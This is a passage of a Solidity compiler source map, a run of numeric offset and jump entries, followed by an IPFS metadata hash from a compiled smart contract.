6749:18;;6742:34;;;;6807:2;6792:18;;6785:34;6696:2;6681:18;;6663:162::o;6830:236::-;;-1:-1:-1;;6890:17:1;;6887:2;;;-1:-1:-1;;;6930:33:1;;6986:4;6983:1;6976:15;7016:4;6937:3;7004:17;6887:2;-1:-1:-1;7058:1:1;7047:13;;6877:189::o;7071:127::-;7132:10;7127:3;7123:20;7120:1;7113:31;7163:4;7160:1;7153:15;7187:4;7184:1;7177:15;7203:133;-1:-1:-1;;;;;7280:31:1;;7270:42;;7260:2;;7326:1;7323;7316:12;7260:2;7250:86;:::o

ipfs://3e8e21cfce1c8245e87fdc07e6b3fc04d712a1a791ad91227504ec1ace641458